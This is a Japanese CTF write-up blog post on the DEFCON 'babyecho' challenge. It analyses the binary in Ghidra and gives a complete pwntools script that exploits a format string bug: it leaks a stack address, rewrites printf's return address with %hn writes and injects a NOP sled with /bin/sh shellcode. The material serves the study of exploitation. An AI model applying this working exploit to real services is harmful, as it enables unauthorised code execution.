newbieからバイナリアンへ

newbieからバイナリアンへ

昨日は海を見に行きました

【pwn 4.3】babyecho - DEFCON CTF 2016

 

 

 

0: 参考

bataさんの良問リスト

 

問題ファイル

github.com

 

 

1: イントロ

bataリストの問題

2015 DEFCON CTF baby問題 "babyecho"

 

 

2: 静的解析

./babyecho: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

 

f:id:smallkirby:20190824002328p:plain

あらゆるところがRWXになっている

 

ghidraに食わせたところ

ものすごい時間がかかった

mainのデコンパイルコードは以下の感じ

 

void main(void)

{
    int iVar1;
    int in_GS_OFFSET;
    int local_420;
    undefined local_414 [0x400];
    undefined4 local_14;
    
    local_14 = *(undefined4 *)(in_GS_OFFSET + 0x14);
    local_420 = 0xd;
    FUN_0804fc40(PTR_DAT_080ea4c0,0x0,0x2,0x0,0xd,local_414);
    FUN_0804de70(0xe,FUN_08048eb1);
    FUN_0806cb50(0x14);
    do {
        iVar1 = 0x3ff;
        if (local_420 < 0x400) {
            iVar1 = local_420;
        }
        printf("Reading %d bytes\n",iVar1);
        FUN_08048e24(local_414,iVar1,0xa);
        FUN_08048ecf(local_414);
        printf(local_414);
        FUN_0804fde0(0xa);
        FUN_0806cb50(0x14);
        local_420 = iVar1;
    } while( true );
}

 

ghidraの吐いたコードを解析していく

具体的には関数名を解決していく

 

まず21行目の関数

入力系の何かのはず

#3が0xa = 改行だから改行を読み取る的な何か

念の為確かめてみると

int FUN_08048e24(int param_1,int param_2,char param_3)

{
    int iVar1;
    char local_11;
    int local_10;
    
    local_10 = 0x0;
    while( true ) {
        if (param_2 <= local_10) {
            *(undefined *)(param_1 + local_10 + -0x1) = 0x0;
            return local_10 + -0x1;
        }
        iVar1 = FUN_0806d4b0(0x0,&local_11,0x1);
        if (iVar1 < 0x1) {
            FUN_0804eb80(0xffffffff);
        }
        if (local_11 == param_3) break;
        *(char *)(local_10 + param_1) = local_11;
        local_10 = local_10 + 0x1;
    }
    *(undefined *)(param_1 + local_10) = 0x0;
    return local_10;
}

 

やはりそんな感じだった

__getnlineと命名

 

というノリで命名していくと以下の感じになった

void main(void)

{
    int iVar1;
    int local_420;
    char l414_buf [0x190];
    
    local_420 = 0xd;
    FUN_0804fc40(PTR_DAT_080ea4c0,0x0,0x2,0x0,0xd,l414_buf);
    FUN_0804de70(0xe,FUN_08048eb1);
    __putchar(0x14);
    do {
        iVar1 = 0x3ff;
        if (local_420 < 0x400) {
            iVar1 = local_420;
        }
        printf("Reading %d bytes\n",iVar1);
        getnline(l414_buf,iVar1,0xa);
        FUN_08048ecf(l414_buf);
        printf(l414_buf);
        __putchar2?(0xa);
        __putchar(0x14);
        local_420 = iVar1;
    } while( true );
}

 

命名していないやつはなんだかわからなかった

(多分FUN_08048ecfは改行をNULL終端する関数だと思う

 

というか命名する前からbufを直接printfしているためFBAが使えることはわかりきっていた



3: 方針

FSAでいく

スタック上のコードが実行可能だから

スタックにshellcodeをinjectしたい

 

但しこの問題の制約として12文字+改行1文字しか同時に送れない

 

printfを呼ぶ直前のスタックの状態を見てみると

gdb-peda$ telescope $esp 30
0000| 0xffeaab10 --> 0xffeaab2c ('A' repeats 12 times)
0004| 0xffeaab14 --> 0xd ('\r')
0008| 0xffeaab18 --> 0xa ('\n')
0012| 0xffeaab1c --> 0x0 
0016| 0xffeaab20 --> 0xd ('\r')
0020| 0xffeaab24 --> 0xffeaab2c ('A' repeats 12 times)
0024| 0xffeaab28 --> 0x0 
0028| 0xffeaab2c ('A' repeats 12 times)
0032| 0xffeaab30 ("AAAAAAAA")
0036| 0xffeaab34 ("AAAA")
0040| 0xffeaab38 --> 0x0 
0044| 0xffeaab3c --> 0x0 
0048| 0xffeaab40 --> 0x0 
0052| 0xffeaab44 --> 0x0

 

まず$esp+0x20にスタック上のアドレスが入っているため

これをleakしてスタックのベースアドレスとして利用する

 

また先程のデコンパイルコードと見比べてみると

$esp+0x16の0xdが入力可能文字数となっているため

これを書き換えれば入力文字数を増やせる

 

その後printfのRAをスタック中の入力バッファの中を指すように書き換える

ここでは$hn指定で2byteずつ書き換えていくことにする

 

書き換え先にジャストでshellcodeを挿入するのは不可能なため

NOPスレッドを噛ませて緩和することにする




4: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./babyecho"

rhp = {'host':"localhost",'port':12300}
context(os='linux',arch='i386')
binf = ELF(FILENAME)

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"


def send_by_nbyte(conn,payload,n):
  while len(payload)>=(n-1):
    conn.sendline(payload[:(n-1)])
    print(conn.recvuntil("bytes\n"))
    if len(payload)==(n-1):
      return
    payload = payload[n-1:]
  
  if len(payload)!=0:
    conn.sendline(payload)

def exploit(conn):
  conn.recvuntil("bytes\n")

  #leak stack addr
  conn.sendline("%5$p")
  stack_addr = int(conn.recvline()[2:],16) #addr buffer
  print("stack_addr: "+hex(stack_addr))

  #overwrite input size into 99
  send_by_nbyte(conn,p32(stack_addr - 4*3) + "%" + str(99 - 0x4)  + "c" + "%7$n",13)

  #generate craft which overwrite RA of printf into stack_addr and inject NOP thread and shellcode
  print("stack_addr + 0x50: "+hex(stack_addr+0x50))
  print("***"+hex(int(hex(stack_addr+0x50)[-4:],16)))
  print("***"+hex(stack_addr+0x50)[-8:-4])
  payload = p32(stack_addr - 4*8) + p32(stack_addr - 4*8 + 2)  +  "%" + str(int(hex(stack_addr+0x40)[-4:],16) - 0x8) + "c" + "%7$hn"
  payload += "%" + str(int(hex(stack_addr+0x40)[-8:-4],16) - int(hex(stack_addr+0x40)[-4:],16)) + "c" + "%8$hn"
  payload += p8(0x90)*40
  print("payload length(without shellcode"+hex(len(payload)))
  payload += shellcode
  print("payload length: "+hex(len(payload)))

  #run
  send_by_nbyte(conn,payload,99)

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
      b *0x8048f3c
      b *0x8048ff7
      b *0x804900f
      c
    """
    conn = gdb.debug(FILENAME,cmd)
else:
    conn = remote(rhp['host'],rhp['port'])
exploit(conn)
conn.interactive()

 

shellcodeはここから拾ってきた

 

shell-storm.org

 

 

 

5: 結果

 

f:id:smallkirby:20190824124144p:plain



You can cite code or comments in my blog as you like basically.
There are some exceptions.
1. When the code belongs to some other license. In that case, follow it.
2. You can't use them for evil purpose.
I don't take any responsibility for using my code or comment.
If you find my blog useful, I'll appreciate if you leave comments.

This website uses Google Analytics.It uses cookies to help the website analyze how you use the site. You can manage the functionality by disabling cookies.